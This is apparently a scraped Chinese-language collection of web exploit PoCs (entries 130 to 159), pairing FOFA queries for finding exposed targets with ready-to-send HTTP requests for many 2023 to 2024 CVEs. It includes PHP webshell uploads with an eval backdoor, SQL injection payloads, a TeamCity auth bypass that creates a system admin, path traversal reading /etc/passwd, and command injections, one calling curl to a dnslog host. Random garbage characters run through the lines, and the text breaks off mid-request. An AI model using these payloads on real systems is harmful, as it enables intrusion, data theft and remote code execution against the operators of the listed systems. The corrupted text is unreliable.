/ R& f" J) l& |; r" ^* BGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
5 o1 h3 z1 R2 r% K6 j% [/ N1 lAccept-Encoding: gzip, deflate
Connection: close

& C! h  I* t9 q# F# @. i
8 ]( @: @& D9 J+ N$ O0 y- r0 `第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
: ?& @2 R$ R* f% j- EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
! _6 a7 y) m+ S( `3 VConnection: close
8 _8 V9 q- {8 a4 M, D3 _uuid: 85f60018-a654-4410-a783-f81cbd5000b9


130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
/ L& E3 V$ `0 BHost: 127.0.0.1
9 ~4 U6 P- o7 lAccept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
% d5 p, Y1 c2 Y" @: vUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
  R1 P) k# r# W! |Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
Connection: close

0 U- f/ x, Z7 m1 u+ H4 o1 v------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
" @& |7 B6 o4 d: S! M! h------WebKitFormBoundary3OCVBiwBVsNuB2kR--
  c1 U  }6 R! W: a9 X' {+ z% y
! s- d* L1 a- P
. Y& B; B9 T3 h4 T/ X( m9 A. c131. Mini-Tmall <=20231017 SQL注入
4 _' m; z' t2 ?2 `FOFA：icon_hash="-2087517259"
$ Q! g" W  @8 X" x) c8 `$ u! h后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
7 W' `, m+ |  S
" K9 D  @' x0 f: `+ }$ K132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
4 p+ y: s2 g1 l5 _: W3 W% }  OCVE-2024-27198
+ b: {# u; B+ z6 C4 gFOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
1 e/ l7 ^8 A$ n6 FHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate

; d" |/ g6 A+ x( {+ `/ p& Y& E{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
$ H1 N6 [# f. s2 ?- S! \
/ N8 A/ }& ^1 I& X: L/ P
CVE-2024-27199
5 x) q0 b( K) }  n2 L% m+ S/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp


6 X0 w) L3 M+ {" l8 }CVE-2024-27198-RCE.py
$ h' Z& F$ T, ^6 X8 Y
( @; ^; M! {/ o  v0 d. H" q% _" l% ~2 D133. H5 云商城 file.php 文件上传
: Y# R1 v+ X( J& ^0 V9 nFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
8 L& D- l- j* c- L. }- W5 dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
% x' i7 r  a9 O) `8 |. qContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
5 v7 V" J8 c/ T( PContent-Disposition: form-data; name="file"; filename="rce.php"
( o0 R- w' r8 X8 g" A9 M% N& [0 IContent-Type: application/octet-stream
5 G6 s' b+ L9 U2 Q2 J) C
" L' }0 @# I  J4 A7 p, e* y# Y<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--

! A2 t* C& S5 |1 x+ _, \0 U
1 N: [: v, ^( x
8 H& q3 k# c* G/ b134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
8 _! Z/ S$ z: FNetentsec NS-ASG Application Security Gateway 6.3版本
# h6 i5 b+ L. F2 m( T/ CFOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
6 v3 y6 C/ L, x7 \$ aHost: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
& G4 V4 e" m6 C+ C4 S/ YAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
: ~3 R. c  q# vSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
$ o1 Z0 m; P6 ~1 P9 NContent-Type: application/x-www-form-urlencoded
Content-Length: 263
( a0 l( G" c& @2 q2 R* w5 S
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

* l% z) S* A2 q  F4 n
' M7 {9 k0 [+ E( A: R135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
- \8 M- J' t* h: x7 i  O* a# XNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
6 `8 s' T) F, M3 X% n; v& ZGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
  l+ v% S" G1 g% ^Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 k5 q- E& `; F/ ?; Z: JAccept-Encoding: gzip, deflate
# W7 X& I" @/ A4 ~+ `% KAccept-Language: zh-CN,zh;q=0.9
Connection: close
  q1 s1 a& X, N% ^

136. NextChat cors SSRF
& g  S7 ^, P* l" T! tCVE-2023-49785
  C8 m' O, Z# g8 jFOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
9 M) S, P! v' V7 tUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
/ o3 H6 q, q/ pAccept: */*
) u$ ^! f2 S& g, i) y. bAccept-Language: en
: G/ g, m4 L( L  {9 uAccept-Encoding: gzip


137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
: i) E' p5 |8 e+ v  j* m* r5 eFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
4 r& ], P: a# XGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
( V4 T" \- G! v( k! {3 IHost: x.x.x.x
5 U+ L  ]+ }* `) R- K7 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" K$ W# y( d8 D7 [$ VAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1


138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
3 Q& m2 q4 e; @$ T8 B  o2 bFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
' N, E' I3 E2 Z5 K8 EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
1 S, a  q8 ]) U0 yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& l% b* R$ T0 E. A& GAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* t0 n7 G0 b3 u4 a' |Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1


139. 福建科立讯通信指挥调度平台editemedia.php sql注入
$ _5 h3 H% O  g- Z& ]$ a& w# PCVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
. U3 z( L! R7 G! hHost: x.x.x.x
: f6 k% X- l/ f/ l" q2 lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
9 J4 H' g8 F; I2 sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 c' ?1 ?4 H5 `! y! mAccept-Encoding: gzip, deflate, br
Connection: close
/ z# o! U) ?6 S. I+ G* f7 ?% gCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
1 b7 N0 }  }8 {# y! F8 iUpgrade-Insecure-Requests: 1


5 [0 T$ Q& Y; @* M1 a! Q% }! O140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
8 g/ D1 W( R- k9 y! s5 v6 gFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
& m% V, u% Q) b* [# bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ S7 t! v, c  y" n& ~Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1


. i2 n* u% j* v: ]# W9 U141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
( y, E; ^0 o; s1 V. z8 ~2 p0 X5 LFOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
* ~' W5 r2 Y( j' D* `% i9 hUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded
8 O7 ]3 p, m3 x* V7 i

7 B# V; I6 }- n3 [" N( udep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
  y" D  c' |7 \! W) R! S
. c0 z$ o4 P' ?4 n: U5 X) T$ B
142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
) A1 Q! }7 J1 |2 y% Badmin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
7 Y9 J2 P; z3 |, f6 k8 D: x' tCVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD

+ R6 d: D; C% ~; s& p8 [144. D-Link nas_sharing.cgi 命令注入
! M6 m1 D+ V+ H. l* F9 n# {FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
4 z6 k7 b2 h0 k3 Y" A, HGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
. E& n/ V. g4 ?# p& gHost: x.x.x.x
1 v, e& U* W. kUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
Accept-Language: en
" }' H* B* R/ p# P( @: oAccept-Encoding: gzip

/ W+ ~* M7 e3 j  i: {
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
: q( z& A0 l) T" |- N* |# r) bCVE-2024-3400
( Y  \4 o2 n0 d* z3 z# S3 fFOFA：icon_hash="-631559155"
, i6 ~; v& A$ ~2 ?. I6 |2 h1 ZGET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
$ H/ r8 w, X/ p0 G- Q' F5 X6 dCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
; x0 C6 F3 l9 R. Z2 f' d
# U; r1 ?  W! K  |
# l( S, r% S  G+ g& V' z. F146. MajorDoMo thumb.php 未授权远程代码执行
3 L% w8 W6 s. N( o7 yCNVD-2024-02175
4 D- I9 Z5 I  A" VFOFA：app="MajordomoSL"
6 j1 f, o8 U! w5 E0 _GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
. O1 d  g( l  l. B4 x. C. e3 }5 X

147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
0 W! ~- t. @- O, ]4 hHost: 127.0.0.1:81
! G, x( @7 c2 E  YCache-Control: max-age=0
Connection: close
2 Q4 l4 y4 |: _. h( s

148. CrushFTP 认证绕过模板注入
CVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD

% Y" K3 [8 P# f- W149. AJ-Report开源数据大屏存在远程命令执行
2 d. V( I% B, _0 WFOFA：title="AJ-Report"
2 B" H* U) ~& e1 E! ^3 O
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
& t' c: g8 N" [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
$ v0 P) S; E1 ^: {Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! B* y6 |7 e1 }; _+ eAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
7 E1 ~. K, Z; P$ J: p% O. E$ q! ]Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
, g' ?- F. q" h/ G- ]! I; k1 r* \; X
5 S+ n0 {0 S( {* `, M) a( v7 n3 k
151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
4 C) T; r) e7 J2 J* |* v, t" ?8 g$ f3 rGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 }( s" ^1 p( Y) b: Z$ _/ |" z" |Connection: close
# P% C( o: |$ |Accept-Encoding: gzip

& h$ q# M7 n; N9 P" D5 ]6 T
152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
9 [- u+ p3 `* YFOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
/ a7 ~7 b, V( }Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
0 B: {/ b) z: o9 E% aConnection: close
- |) O' A4 l; O6 o% P7 Q4 i/ QAccept: */*
1 I! C+ W2 h3 s( q% IAccept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip


153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config

; n8 \0 I1 {  u6 H' M0 |
第二步，将/etc/passwd的内容写入到一个临时文件
8 c" u, g' f7 \4 O8 mPOST /component_server HTTP/1.1
Host: x.x.x.x
3 S5 K- T% K# r- W9 R" NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
Content-Length: 115
% _8 M3 D, h2 F5 D% H! z( K; T4 u2 XContent-Type: application/json
Accept-Encoding: gzip

$ S$ g- b( ~. N8 S" a( J{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


第三步访问
8 {, K, ?" |4 D6 [  _. e, {9 Lhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
7 j4 l& j1 C2 V6 q% F2 h
' B) e4 _. h: E  J5 v
# z) x$ b# O, }/ b9 s: g154. 天维尔消防救援作战调度平台 SQL注入
, g. D2 E9 \8 VCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
) w" F! ^5 e0 Y# }: u' x9 yContent-Length: 106
Cache-Control: max-age=0
8 q, g" L$ L1 Z4 x: R' XUpgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- I: ?1 p( l1 `- ZReferer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
: w+ `  W* @' b3 f; c1 U5 |' B" ^
$ Z9 n/ }' E0 F" ]2 r3 o8 p; Y  G$ ~; E0 T/ O{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
6 K1 A! h5 k; S6 M
$ w' A# \4 [* Z4 W: n
155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
% A$ C: S6 o0 S' |7 hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 m! t* S! Y" yContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest

" J" u& f( N# b  ^6 A7 }-----------------------------qttl7vemrsold314zg0f
# M6 l- c  V* E" e& {. lContent-Disposition: form-data; name="file"; filename="test.php"
, P2 R  I$ G# q" j# Q: [1 @% J; ?! ]Content-Type: image/png

<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--


! H+ Y3 u4 a6 m9 U+ e  t访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
6 E7 ]! _: r7 Q& L5 `
156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
" l0 D1 V' F$ Q# j, l& d; w6 a/ ~FOFA："Location: /login.rsp"
·TBK DVR-4104
" A7 m  G; e5 f6 R1 t' d  c% v5 e·TBK DVR-4216
8 w, I# y4 i- C, Fcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

: n4 B7 ~$ b4 e1 |) L: I5 R: F
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# q0 \' G# Q7 W( uConnection: close
Content-Length: 0
Cookie: uid=1
7 H' g/ M5 `2 c# }Accept-Encoding: gzip
9 n/ f2 @8 I- Q3 J% Z
. t. k9 w8 l: o
: u' H, w+ V5 Z% ]  F& U/ c3 a4 @% |157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
3 o) [2 L* x6 M+ ~FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
, O2 ?, x( k9 y! n9 o) {Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
( r/ F% K$ _* u( ^Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 d6 ~* c: \3 x* ^Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
1 h' T1 d* z! ~$ h+ w" ^* \Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
# |+ @" Z' \& J, t
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream
6 Z* C# c, k9 q+ }" j! N- W
: z- t- C& Y* P; @7 }! H# @' znyhelxrutzwhrsvsrafb
) ~, r# F% k& \; \- \5 T! M+ r------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"
( I# ?# I) n  b# E$ P' M" Y" m
6 Z; H2 E, P0 N2 ?5 ?null
------WebKitFormBoundary1imovELzPsfzp5dN
6 S) ~/ Q$ T: b1 y4 r& z* G0 `& yContent-Disposition: form-data; name="form"

/ _2 c& B! \2 a# r- Znull
) d" T4 C" q& V6 B4 ?% I* M------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"

. A9 V0 }' ^4 v' w" Wnull
0 c: L2 s1 [; O6 d$ F4 m- x" D% G------WebKitFormBoundary1imovELzPsfzp5dN
; \# M- x4 e0 @8 kContent-Disposition: form-data; name="filefolder"

null
------WebKitFormBoundary1imovELzPsfzp5dN--

: `0 {8 L6 Y4 D% O$ s: f
http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
: |. g5 \& j8 Q
9 B: d9 J9 Y$ B! R158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
- A: m( G1 t* |) ~3 M" X' R2 S2 QFOFA："Generator: Masa CMS"
/ U" M( L+ U- E. r+ V1 _- E9 KPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
( W2 H6 }, K$ O. i, G8 G" F' r. KHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
1 d9 p4 x* q( @( Z. l
! }3 U# n3 q' i" e' robject=displayregion&contenthistid=x\'&previewid=1


1 J8 u" G$ p0 X5 ~2 a. Z159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
/ ^5 |- q3 ~$ [, d3 V$ O' d- JFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
' x# b0 G) k; D* W6 xPOST /webservices/WebJobUpload.asmx HTTP/1.1
2 ]' D% b8 p) `  DHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
; h# z1 K! b: ]8 AAccept-Encoding: gzip, deflate
Connection: close
, }" j3 y1 P' I& ]+ W" D! @5 `8 TContent-Type: text/xml; charset=utf-8
7 K: R; Q/ q5 fSoapaction: "http://rainier/jobUpload"

' v; M' E) ^$ J) w- I/ t<?xml version="1.0" encoding="utf-8"?>
5 P/ R  M# X( U9 Y1 e<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<jobUpload xmlns="http://rainier">
0 T3 E0 c8 z6 Q8 d<vcode>1</vcode>
+ n5 f  ?# r4 P: Y/ Q' r<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
